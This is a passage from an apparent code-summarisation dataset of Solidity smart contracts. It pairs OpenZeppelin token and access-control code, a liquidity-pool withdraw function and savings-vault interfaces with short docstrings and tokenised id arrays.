* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | * @dev internal logic for computing the pending payment of an `account` given the token historical balances and already released amounts, without using gas to assign shares and change state./ | function calculatePendingPaymentPotential(
uint256 _pendingShares,
uint256 _totalReceived,
uint256 _alreadyReleased
) internal view returns (uint256) {
return (_totalReceived * _pendingShares) / totalShares() >= _alreadyReleased ? (_totalReceived * _pendingShares) / totalShares() - _alreadyReleased : 0;
}
| 14,325,354 | [
1,
7236,
4058,
364,
20303,
326,
4634,
5184,
434,
392,
1375,
4631,
68,
864,
326,
1147,
23922,
324,
26488,
471,
1818,
15976,
30980,
16,
2887,
1450,
16189,
358,
2683,
24123,
471,
2549,
919,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4604,
8579,
6032,
24947,
12,
203,
3639,
2254,
5034,
389,
9561,
24051,
16,
203,
3639,
2254,
5034,
389,
4963,
8872,
16,
203,
3639,
2254,
5034,
389,
17583,
26363,
203,
565,
262,
2713,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
261,
67,
4963,
8872,
380,
389,
9561,
24051,
13,
342,
2078,
24051,
1435,
1545,
389,
17583,
26363,
692,
261,
67,
4963,
8872,
380,
389,
9561,
24051,
13,
342,
2078,
24051,
1435,
300,
389,
17583,
26363,
294,
374,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xeeC92c01c5BA99620cC801F8c3D50Af7DdEffd49/sources/RoseMaster.sol | Withdraw LP tokens from RoseMain. | function withdraw1(uint256 _pid, uint256 _amount) public {
PoolInfo1 storage pool = poolInfo1[_pid];
UserInfo storage user = userInfo1[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool1(_pid);
uint256 pending = user.amount.mul(pool.accRosePerShare).div(1e12).sub(
user.rewardDebt
);
if (pending > 0) {
safeRoseTransfer(msg.sender, pending);
mintReferralReward(pending);
}
if (_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.totalAmount = pool.totalAmount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accRosePerShare).div(1e12);
emit Withdraw1(msg.sender, _pid, _amount);
}
| 9,185,453 | [
1,
1190,
9446,
511,
52,
2430,
628,
534,
2584,
6376,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
598,
9446,
21,
12,
11890,
5034,
389,
6610,
16,
2254,
5034,
389,
8949,
13,
1071,
288,
203,
3639,
8828,
966,
21,
2502,
2845,
273,
2845,
966,
21,
63,
67,
6610,
15533,
203,
3639,
25003,
2502,
729,
273,
16753,
21,
63,
67,
6610,
6362,
3576,
18,
15330,
15533,
203,
3639,
2583,
12,
1355,
18,
8949,
1545,
389,
8949,
16,
315,
1918,
9446,
30,
486,
7494,
8863,
203,
3639,
1089,
2864,
21,
24899,
6610,
1769,
203,
3639,
2254,
5034,
4634,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
54,
2584,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
2934,
1717,
12,
203,
5411,
729,
18,
266,
2913,
758,
23602,
203,
3639,
11272,
203,
3639,
309,
261,
9561,
405,
374,
13,
288,
203,
5411,
4183,
54,
2584,
5912,
12,
3576,
18,
15330,
16,
4634,
1769,
203,
5411,
312,
474,
1957,
29084,
17631,
1060,
12,
9561,
1769,
203,
3639,
289,
203,
3639,
309,
261,
67,
8949,
405,
374,
13,
288,
203,
5411,
729,
18,
8949,
273,
729,
18,
8949,
18,
1717,
24899,
8949,
1769,
203,
5411,
2845,
18,
4963,
6275,
273,
2845,
18,
4963,
6275,
18,
1717,
24899,
8949,
1769,
203,
5411,
2845,
18,
9953,
1345,
18,
4626,
5912,
12,
2867,
12,
3576,
18,
15330,
3631,
389,
8949,
1769,
203,
3639,
289,
203,
3639,
729,
18,
266,
2913,
758,
23602,
273,
729,
18,
8949,
18,
16411,
12,
6011,
18,
8981,
54,
2584,
2173,
9535,
2934,
2892,
12,
21,
73,
2138,
1769,
203,
3639,
3626,
3423,
9446,
21,
12,
3576,
18,
15330,
16,
389,
6610,
2
]
|
pragma solidity 0.5.16;
/* is IERC20 */
interface IERC4626Vault {
/// @notice The address of the underlying token used for the Vault uses for accounting, depositing, and withdrawing
function asset() external view returns (address assetTokenAddress);
/// @notice Total amount of the underlying asset that is “managed” by Vault
function totalAssets() external view returns (uint256 totalManagedAssets);
/**
* @notice The amount of shares that the Vault would exchange for the amount of assets provided, in an ideal scenario where all the conditions are met.
* @param assets The amount of underlying assets to be convert to vault shares.
* @return shares The amount of vault shares converted from the underlying assets.
*/
function convertToShares(uint256 assets) external view returns (uint256 shares);
/**
* @notice The amount of assets that the Vault would exchange for the amount of shares provided, in an ideal scenario where all the conditions are met.
* @param shares The amount of vault shares to be converted to the underlying assets.
* @return assets The amount of underlying assets converted from the vault shares.
*/
function convertToAssets(uint256 shares) external view returns (uint256 assets);
/**
* @notice The maximum number of underlying assets that caller can deposit.
* @param caller Account that the assets will be transferred from.
* @return maxAssets The maximum amount of underlying assets the caller can deposit.
*/
function maxDeposit(address caller) external view returns (uint256 maxAssets);
/**
* @notice Allows an on-chain or off-chain user to simulate the effects of their deposit at the current block, given current on-chain conditions.
* @param assets The amount of underlying assets to be transferred.
* @return shares The amount of vault shares that will be minted.
*/
function previewDeposit(uint256 assets) external view returns (uint256 shares);
/**
* @notice Mint vault shares to receiver by transferring exact amount of underlying asset tokens from the caller.
* @param assets The amount of underlying assets to be transferred to the vault.
* @param receiver The account that the vault shares will be minted to.
* @return shares The amount of vault shares that were minted.
*/
function deposit(uint256 assets, address receiver) external returns (uint256 shares);
/**
* @notice The maximum number of vault shares that caller can mint.
* @param caller Account that the underlying assets will be transferred from.
* @return maxShares The maximum amount of vault shares the caller can mint.
*/
function maxMint(address caller) external view returns (uint256 maxShares);
/**
* @notice Allows an on-chain or off-chain user to simulate the effects of their mint at the current block, given current on-chain conditions.
* @param shares The amount of vault shares to be minted.
* @return assets The amount of underlying assests that will be transferred from the caller.
*/
function previewMint(uint256 shares) external view returns (uint256 assets);
/**
* @notice Mint exact amount of vault shares to the receiver by transferring enough underlying asset tokens from the caller.
* @param shares The amount of vault shares to be minted.
* @param receiver The account the vault shares will be minted to.
* @return assets The amount of underlying assets that were transferred from the caller.
*/
function mint(uint256 shares, address receiver) external returns (uint256 assets);
/**
* @notice The maximum number of underlying assets that owner can withdraw.
* @param owner Account that owns the vault shares.
* @return maxAssets The maximum amount of underlying assets the owner can withdraw.
*/
function maxWithdraw(address owner) external view returns (uint256 maxAssets);
/**
* @notice Allows an on-chain or off-chain user to simulate the effects of their withdrawal at the current block, given current on-chain conditions.
* @param assets The amount of underlying assets to be withdrawn.
* @return shares The amount of vault shares that will be burnt.
*/
function previewWithdraw(uint256 assets) external view returns (uint256 shares);
/**
* @notice Burns enough vault shares from owner and transfers the exact amount of underlying asset tokens to the receiver.
* @param assets The amount of underlying assets to be withdrawn from the vault.
* @param receiver The account that the underlying assets will be transferred to.
* @param owner Account that owns the vault shares to be burnt.
* @return shares The amount of vault shares that were burnt.
*/
function withdraw(
uint256 assets,
address receiver,
address owner
) external returns (uint256 shares);
/**
* @notice The maximum number of shares an owner can redeem for underlying assets.
* @param owner Account that owns the vault shares.
* @return maxShares The maximum amount of shares the owner can redeem.
*/
function maxRedeem(address owner) external view returns (uint256 maxShares);
/**
* @notice Allows an on-chain or off-chain user to simulate the effects of their redeemption at the current block, given current on-chain conditions.
* @param shares The amount of vault shares to be burnt.
* @return assets The amount of underlying assests that will transferred to the receiver.
*/
function previewRedeem(uint256 shares) external view returns (uint256 assets);
/**
* @notice Burns exact amount of vault shares from owner and transfers the underlying asset tokens to the receiver.
* @param shares The amount of vault shares to be burnt.
* @param receiver The account the underlying assets will be transferred to.
* @param owner The account that owns the vault shares to be burnt.
* @return assets The amount of underlying assets that were transferred to the receiver.
*/
function redeem(
uint256 shares,
address receiver,
address owner
) external returns (uint256 assets);
/*///////////////////////////////////////////////////////////////
Events
//////////////////////////////////////////////////////////////*/
/**
* @dev Emitted when caller has exchanged assets for shares, and transferred those shares to owner.
*
* Note It must be emitted when tokens are deposited into the Vault in ERC4626.mint or ERC4626.deposit methods.
*
*/
event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares);
/**
* @dev Emitted when sender has exchanged shares for assets, and transferred those assets to receiver.
*
* Note It must be emitted when shares are withdrawn from the Vault in ERC4626.redeem or ERC4626.withdraw methods.
*
*/
event Withdraw(
address indexed caller,
address indexed receiver,
address indexed owner,
uint256 assets,
uint256 shares
);
}
interface IUnwrapper {
// @dev Get bAssetOut status
function getIsBassetOut(
address _masset,
bool _inputIsCredit,
address _output
) external view returns (bool isBassetOut);
/// @dev Estimate output
function getUnwrapOutput(
bool _isBassetOut,
address _router,
address _input,
bool _inputIsCredit,
address _output,
uint256 _amount
) external view returns (uint256 output);
/// @dev Unwrap and send
function unwrapAndSend(
bool _isBassetOut,
address _router,
address _input,
address _output,
uint256 _amount,
uint256 _minAmountOut,
address _beneficiary
) external returns (uint256 outputQuantity);
}
interface ISavingsManager {
/** @dev Admin privs */
function distributeUnallocatedInterest(address _mAsset) external;
/** @dev Liquidator */
function depositLiquidation(address _mAsset, uint256 _liquidation) external;
/** @dev Liquidator */
function collectAndStreamInterest(address _mAsset) external;
/** @dev Public privs */
function collectAndDistributeInterest(address _mAsset) external;
}
interface ISavingsContractV1 {
function depositInterest(uint256 _amount) external;
function depositSavings(uint256 _amount) external returns (uint256 creditsIssued);
function redeem(uint256 _amount) external returns (uint256 massetReturned);
function exchangeRate() external view returns (uint256);
function creditBalances(address) external view returns (uint256);
}
interface ISavingsContractV4 {
// DEPRECATED but still backwards compatible
function redeem(uint256 _amount) external returns (uint256 massetReturned);
function creditBalances(address) external view returns (uint256); // V1 & V2 (use balanceOf)
// --------------------------------------------
function depositInterest(uint256 _amount) external; // V1 & V2
function depositSavings(uint256 _amount) external returns (uint256 creditsIssued); // V1 & V2
function depositSavings(uint256 _amount, address _beneficiary)
external
returns (uint256 creditsIssued); // V2
function redeemCredits(uint256 _amount) external returns (uint256 underlyingReturned); // V2
function redeemUnderlying(uint256 _amount) external returns (uint256 creditsBurned); // V2
function exchangeRate() external view returns (uint256); // V1 & V2
function balanceOfUnderlying(address _user) external view returns (uint256 balance); // V2
function underlyingToCredits(uint256 _credits) external view returns (uint256 underlying); // V2
function creditsToUnderlying(uint256 _underlying) external view returns (uint256 credits); // V2
// --------------------------------------------
function redeemAndUnwrap(
uint256 _amount,
bool _isCreditAmt,
uint256 _minAmountOut,
address _output,
address _beneficiary,
address _router,
bool _isBassetOut
)
external
returns (
uint256 creditsBurned,
uint256 massetRedeemed,
uint256 outputQuantity
);
function depositSavings(
uint256 _underlying,
address _beneficiary,
address _referrer
) external returns (uint256 creditsIssued);
// -------------------------------------------- V4
function deposit(
uint256 assets,
address receiver,
address referrer
) external returns (uint256 shares);
function mint(
uint256 shares,
address receiver,
address referrer
) external returns (uint256 assets);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
